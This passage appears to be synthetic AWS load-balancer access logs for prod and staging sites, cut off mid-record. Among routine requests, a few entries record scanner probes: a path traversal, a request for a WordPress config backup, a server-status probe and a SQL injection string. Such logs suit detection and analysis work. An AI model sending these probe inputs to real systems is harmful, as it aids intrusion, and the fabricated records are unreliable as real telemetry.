arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddf5-dad9e56ee10546f299574024" "prod-web-alb.example.com" "-" 1 2024-11-01T02:43:49.076150Z "forward" "-" "-" "10.0.94.80:443" "302" "-" "-" +https 2024-11-01T02:43:49.603446Z prod-api-alb 254.16.161.199:17690 10.0.59.129:443 0.042257 0.347815 0.026191 200 200 590 2462 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ddf5-09f0fb45b8d945388c2174dd" "prod-api-alb.example.com" "-" 0 2024-11-01T02:43:49.603446Z "forward" "-" "-" "10.0.59.129:443" "200" "-" "-" +https 2024-11-01T02:43:49.761943Z prod-web-alb 220.168.165.58:40258 10.0.165.139:443 0.044228 0.090638 0.085041 200 200 25 4951 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddf5-0a27317486f145c4aa563814" "prod-web-alb.example.com" "-" 5 2024-11-01T02:43:49.761943Z "forward" "-" "-" "10.0.165.139:443" "200" "-" "-" +http 2024-11-01T02:43:51.264366Z staging-alb 16.188.42.231:14967 60.142.192.68:8080 0.126484 0.048464 0.127945 404 404 272 12702 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddf7-88c4626c033a491380d64105" "staging-alb.example.com" "-" 0 2024-11-01T02:43:51.264366Z "forward" "-" "-" "60.142.192.68:8080" "404" "-" "-" +https 2024-11-01T02:43:52.500774Z prod-web-alb 81.100.4.133:22581 10.0.34.116:443 0.014683 0.476346 0.042690 200 200 974 3959 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddf8-31e8b27932c64f8197c53c7f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:43:52.500774Z "forward" "-" "-" "10.0.34.116:443" "200" "-" "-" +https 2024-11-01T02:43:54.289791Z prod-web-alb 247.244.180.229:53487 10.0.223.126:443 0.099080 0.082687 0.083142 200 200 401 5993 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddfa-f5c0edb1c9d243629bce8cb1" "prod-web-alb.example.com" "-" 3 2024-11-01T02:43:54.289791Z "forward" "-" "-" "10.0.223.126:443" "200" "-" "-" +http 2024-11-01T02:43:55.482411Z staging-alb 99.29.90.13:14257 133.204.215.158:8080 0.114960 0.300155 0.067952 200 200 976 5667 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ddfb-b1d3f84a01f8455784c4a939" "staging-alb.example.com" "-" 1 2024-11-01T02:43:55.482411Z "forward" "-" "-" "133.204.215.158:8080" "200" "-" "-" +https 2024-11-01T02:43:57.452049Z prod-api-alb 80.219.204.157:52387 10.0.15.213:443 0.029208 0.014739 0.089764 404 404 628 5985 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ddfd-32383503955843ce8fa1a798" "prod-api-alb.example.com" "-" 2 2024-11-01T02:43:57.452049Z "forward" "-" "-" "10.0.15.213:443" "404" "-" "-" +https 2024-11-01T02:43:58.467902Z prod-web-alb 56.166.47.82:32742 10.0.23.247:443 0.054584 0.109937 0.070625 200 200 765 11534 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ddfe-8c11c628ef814b4fb119cea8" "prod-web-alb.example.com" "-" 8 2024-11-01T02:43:58.467902Z "forward" "-" "-" "10.0.23.247:443" "200" "-" "-" +https 2024-11-01T02:43:59.421895Z prod-web-alb 45.155.205.150:27194 10.0.207.139:443 0.008215 0.194887 0.095988 404 404 892 7893 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ddff-b70c47aab0f248bfad5227da" "-" "-" 7 2024-11-01T02:43:59.421895Z "forward" "-" "-" "10.0.207.139:443" "404" "-" "-" +http 2024-11-01T02:44:01.057137Z staging-alb 20.208.109.122:10868 183.128.236.227:443 0.108830 0.589458 0.010551 301 301 597 8628 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de01-dd72514d51ed43f788737e8a" "staging-alb.example.com" "-" 4 2024-11-01T02:44:01.057137Z "forward" "-" "-" "183.128.236.227:443" "301" "-" "-" +https 2024-11-01T02:44:01.247757Z staging-alb 193.27.228.161:11845 157.207.62.200:8080 0.098936 0.650697 0.081788 301 301 914 4094 "POST /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de01-dbbcf2f1fb9543e6b822ef1b" "-" "-" 6 2024-11-01T02:44:01.247757Z "forward" "-" "-" "157.207.62.200:8080" "301" "-" "-" +https 2024-11-01T02:44:02.909752Z prod-web-alb 105.188.203.23:30961 10.0.46.120:443 0.080652 0.323954 0.002027 302 302 0 6413 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de02-974645f5d93b4bb0af7841f9" "prod-web-alb.example.com" "-" 3 2024-11-01T02:44:02.909752Z "forward" "-" "-" "10.0.46.120:443" "302" "-" "-" +http 2024-11-01T02:44:04.905934Z staging-alb 141.37.246.93:19851 101.137.181.105:443 0.017938 0.485445 0.120850 404 404 844 3855 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de04-e51c4e9fa7e14de4ab20c271" "staging-alb.example.com" "-" 5 2024-11-01T02:44:04.905934Z "forward" "-" "-" "101.137.181.105:443" "404" "-" "-" +https 2024-11-01T02:44:05.582504Z prod-web-alb 105.159.149.190:11056 10.0.52.171:443 0.090399 0.237815 0.050716 200 200 514 1943 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de05-ad37685cd18540b68a4be9a4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:05.582504Z "forward" "-" "-" "10.0.52.171:443" "200" "-" "-" +https 2024-11-01T02:44:07.537473Z prod-web-alb 180.65.243.125:41452 10.0.240.30:443 0.081768 0.189468 0.002118 200 200 116 644 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de07-5e53839ec8a341fc87d54d9c" "prod-web-alb.example.com" "-" 0 2024-11-01T02:44:07.537473Z "forward" "-" "-" "10.0.240.30:443" "200" "-" "-" +https 2024-11-01T02:44:08.001605Z prod-api-alb 220.119.162.199:26185 10.0.206.20:443 0.045385 0.107495 0.071717 200 200 648 10298 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de08-9b0fba19a4c048ff8c255ca1" "prod-api-alb.example.com" "-" 0 2024-11-01T02:44:08.001605Z "forward" "-" "-" "10.0.206.20:443" "200" "-" "-" +http 2024-11-01T02:44:08.957158Z staging-alb 16.130.156.48:60477 39.17.112.251:443 0.070485 0.735769 0.077501 404 404 207 9192 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de08-5525132135f045c491256957" "staging-alb.example.com" "-" 5 2024-11-01T02:44:08.957158Z "forward" "-" "-" "39.17.112.251:443" "404" "-" "-" +http 2024-11-01T02:44:10.202160Z staging-alb 251.43.225.10:56914 86.131.32.84:443 0.044079 0.324879 0.034280 200 200 987 10079 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de0a-5dd648824f1f4462a56c01db" "staging-alb.example.com" "-" 7 2024-11-01T02:44:10.202160Z "forward" "-" "-" "86.131.32.84:443" "200" "-" "-" +https 2024-11-01T02:44:10.768171Z prod-api-alb 90.77.2.91:39261 10.0.177.250:443 0.054130 0.308788 0.094901 404 404 919 2109 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de0a-b04143fe489546e3a3ee5baa" "prod-api-alb.example.com" "-" 4 2024-11-01T02:44:10.768171Z "forward" "-" "-" "10.0.177.250:443" "404" "-" "-" +http 2024-11-01T02:44:11.989516Z staging-alb 186.124.13.72:45791 11.140.180.173:8080 0.076482 0.223749 0.000525 404 404 523 4863 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de0b-656ff423f9404f7c814db56d" "staging-alb.example.com" "-" 10 2024-11-01T02:44:11.989516Z "forward" "-" "-" "11.140.180.173:8080" "404" "-" "-" +https 2024-11-01T02:44:13.807946Z prod-web-alb 25.249.202.183:35326 10.0.154.86:443 0.076807 0.056912 0.071040 404 404 281 5363 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de0d-3eaab5ca25544110b6586fc0" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:13.807946Z "forward" "-" "-" "10.0.154.86:443" "404" "-" "-" +https 2024-11-01T02:44:15.234238Z prod-web-alb 49.60.42.102:41415 10.0.118.198:443 0.054006 0.435533 0.012150 200 200 871 713 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de0f-97dc0ef413b04cd6be8db462" "prod-web-alb.example.com" "-" 1 2024-11-01T02:44:15.234238Z "forward" "-" "-" "10.0.118.198:443" "200" "-" "-" +https 2024-11-01T02:44:15.482422Z staging-alb 234.71.69.239:35162 240.135.1.236:8080 0.047852 0.221044 0.085747 200 200 236 7190 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de0f-fe7435d0d76e40fabd61e4d5" "staging-alb.example.com" "-" 6 2024-11-01T02:44:15.482422Z "forward" "-" "-" "240.135.1.236:8080" "200" "-" "-" +https 2024-11-01T02:44:16.466637Z prod-web-alb 79.136.98.220:44074 10.0.190.179:443 0.084158 0.269782 0.010680 200 200 608 4849 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de10-061f1442eede4a0eb41ffe2c" "prod-web-alb.example.com" "-" 7 2024-11-01T02:44:16.466637Z "forward" "-" "-" "10.0.190.179:443" "200" "-" "-" +https 2024-11-01T02:44:16.855933Z staging-alb 176.95.44.47:48472 22.126.79.148:80 0.066304 0.496339 0.015209 200 200 241 8031 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de10-a1c87e68ecdd401589305cde" "staging-alb.example.com" "-" 0 2024-11-01T02:44:16.855933Z "forward" "-" "-" "22.126.79.148:80" "200" "-" "-" +https 2024-11-01T02:44:18.624419Z prod-web-alb 31.254.80.8:60779 10.0.112.13:443 0.036922 0.097953 0.068860 200 200 605 7121 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de12-95a8a6ee4194451aab01a4c6" "-" "-" 9 2024-11-01T02:44:18.624419Z "forward" "-" "-" "10.0.112.13:443" "200" "-" "-" +https 2024-11-01T02:44:18.866063Z prod-api-alb 134.45.161.181:16812 10.0.58.72:443 0.076979 0.078973 0.016043 404 404 297 510 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de12-a1673122683b4d2d87b155ce" "prod-api-alb.example.com" "-" 3 2024-11-01T02:44:18.866063Z "forward" "-" "-" "10.0.58.72:443" "404" "-" "-" +https 2024-11-01T02:44:20.744617Z prod-web-alb 91.10.14.228:52401 10.0.197.75:443 0.006630 0.473248 0.099056 200 200 587 4132 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de14-ff7a1682edf64e898f8421b5" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:20.744617Z "forward" "-" "-" "10.0.197.75:443" "200" "-" "-" +https 2024-11-01T02:44:21.798924Z prod-api-alb 157.46.86.218:30682 10.0.115.175:443 0.017395 0.313580 0.096279 200 200 6 2758 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de15-873ff8efe5674caf8af55df2" "prod-api-alb.example.com" "-" 8 2024-11-01T02:44:21.798924Z "forward" "-" "-" "10.0.115.175:443" "200" "-" "-" +https 2024-11-01T02:44:22.903347Z prod-web-alb 193.27.228.254:12663 10.0.209.3:443 0.082774 0.213198 0.045929 404 404 139 10412 "GET /server-status HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de16-1945177a33314e8899703a16" "-" "-" 10 2024-11-01T02:44:22.903347Z "forward" "-" "-" "10.0.209.3:443" "404" "-" "-" +http 2024-11-01T02:44:23.407372Z staging-alb 130.236.104.88:32835 97.12.74.79:8080 0.146364 0.664201 0.078385 200 200 161 14078 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de17-56911eb1a26a4cefb541d6a5" "staging-alb.example.com" "-" 2 2024-11-01T02:44:23.407372Z "forward" "-" "-" "97.12.74.79:8080" "200" "-" "-" +https 2024-11-01T02:44:24.713914Z prod-api-alb 45.240.161.186:19729 10.0.239.178:443 0.032887 0.124861 0.016622 200 200 721 8181 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de18-bc987f68ba5b493d86729aed" "prod-api-alb.example.com" "-" 2 2024-11-01T02:44:24.713914Z "forward" "-" "-" "10.0.239.178:443" "200" "-" "-" +http 2024-11-01T02:44:26.037772Z staging-alb 179.85.40.182:49199 36.160.190.128:443 0.007172 0.211799 0.107847 200 200 355 13395 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de1a-8a84397096f44a28811631eb" "staging-alb.example.com" "-" 0 2024-11-01T02:44:26.037772Z "forward" "-" "-" "36.160.190.128:443" "200" "-" "-" +https 2024-11-01T02:44:26.549460Z staging-alb 41.30.146.99:22266 62.13.33.235:80 0.139326 0.396914 0.102749 200 200 990 11921 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723de1a-bae473a824594c51a13a6d66" "staging-alb.example.com" "-" 0 2024-11-01T02:44:26.549460Z "forward" "-" "-" "62.13.33.235:80" "200" "-" "-" +https 2024-11-01T02:44:28.462985Z prod-web-alb 2.65.229.203:26352 10.0.255.96:443 0.011731 0.390347 0.037760 301 301 325 2852 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de1c-e2f478fbf26040928077277b" "prod-web-alb.example.com" "-" 7 2024-11-01T02:44:28.462985Z "forward" "-" "-" "10.0.255.96:443" "301" "-" "-" +https 2024-11-01T02:44:28.873923Z prod-web-alb 139.226.156.203:48295 10.0.232.181:443 0.033166 0.456968 0.031953 200 200 5 13963 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de1c-7637fa0992174e0cafa12d4f" "prod-web-alb.example.com" "-" 6 2024-11-01T02:44:28.873923Z "forward" "-" "-" "10.0.232.181:443" "200" "-" "-" +https 2024-11-01T02:44:30.586167Z prod-web-alb 58.171.53.175:43218 10.0.49.240:443 0.036536 0.117882 0.019254 200 200 41 12509 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de1e-85becd6fdb0d4822b2a61854" "prod-web-alb.example.com" "-" 2 2024-11-01T02:44:30.586167Z "forward" "-" "-" "10.0.49.240:443" "200" "-" "-" +https 2024-11-01T02:44:31.724335Z prod-web-alb 144.208.223.189:47673 10.0.88.137:443 0.066158 0.485996 0.020306 200 200 995 3179 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de1f-f0a12870f3754b079af6cc63" "prod-web-alb.example.com" "-" 10 2024-11-01T02:44:31.724335Z "forward" "-" "-" "10.0.88.137:443" "200" "-" "-" +https 2024-11-01T02:44:33.393247Z staging-alb 71.208.243.218:58839 236.237.86.116:443 0.111685 0.650524 0.127096 301 301 258 1974 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723de21-0895736a8d1d442ebf4657d3" "staging-alb.example.com" "-" 1 2024-11-01T02:44:33.393247Z "forward" "-" "-" "236.237.86.116:443" "301" "-" "-" +https 2024-11-01T02:44:34.187935Z prod-api-alb 68.79.49.220:56179 10.0.249.27:443 0.094479 0.314424 0.065100 301 301 916 7812 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de22-93b2e45860344180ba2e637c" "prod-api-alb.example.com" "-" 1 2024-11-01T02:44:34.187935Z "forward" "-" "-" "10.0.249.27:443" "301" "-" "-" +https 2024-11-01T02:44:35.583535Z prod-web-alb 241.189.242.26:64855 10.0.132.225:443 0.090262 0.121035 0.020083 200 200 844 9685 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723de23-09ebd01f13c7456e896092be" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:35.583535Z "forward" "-" "-" "10.0.132.225:443" "200" "-" "-" +https 2024-11-01T02:44:37.426653Z prod-api-alb 161.49.12.93:34948 10.0.119.106:443 0.037246 0.090026 0.074802 301 301 226 6652 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de25-0fc2fff4f24541e2b089b04a" "prod-api-alb.example.com" "-" 10 2024-11-01T02:44:37.426653Z "forward" "-" "-" "10.0.119.106:443" "301" "-" "-" +https 2024-11-01T02:44:39.100384Z prod-api-alb 193.27.228.135:26805 10.0.95.212:443 0.045804 0.485875 0.091402 500 500 829 11798 "GET /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723de27-91f468bca2524a2ca3aa20d5" "-" "-" 1 2024-11-01T02:44:39.100384Z "forward" "-" "-" "10.0.95.212:443" "500" "-" "-" +https 2024-11-01T02:44:40.695903Z prod-web-alb 129.230.78.130:35113 10.0.157.87:443 0.038610 0.403653 0.023271 200 200 949 4920 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de28-74a9866be4054bc8ba4e0f9a" "prod-web-alb.example.com" "-" 2 2024-11-01T02:44:40.695903Z "forward" "-" "-" "10.0.157.87:443" "200" "-" "-" +https 2024-11-01T02:44:41.444926Z prod-web-alb 80.71.173.70:62972 10.0.254.185:443 0.069032 0.174731 0.063726 200 200 7 5605 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de29-256504cd0b714fc1b2fd993c" "prod-web-alb.example.com" "-" 1 2024-11-01T02:44:41.444926Z "forward" "-" "-" "10.0.254.185:443" "200" "-" "-" +https 2024-11-01T02:44:42.928834Z prod-web-alb 111.244.25.34:28753 10.0.121.84:443 0.087242 0.290891 0.036294 404 404 689 14712 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723de2a-84694886ccab43509b520e57" "prod-web-alb.example.com" "-" 8 2024-11-01T02:44:42.928834Z "forward" "-" "-" "10.0.121.84:443" "404" "-" "-" +https 2024-11-01T02:44:43.316345Z prod-api-alb 8.244.137.47:34107 10.0.135.100:443 0.056999 0.361527 0.082415 200 200 24 12041 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723de2b-ecacb8eb621b4cef8a386fc2" "prod-api-alb.example.com" "-" 10 2024-11-01T02:44:43.316345Z "forward" "-" "-" "10.0.135.100:443" "200" "-" "-" +https 2024-11-01T02:44:45.146968Z prod-web-alb 79.178.179.57:24637 10.0.253.78:443 0.076056 0.123602 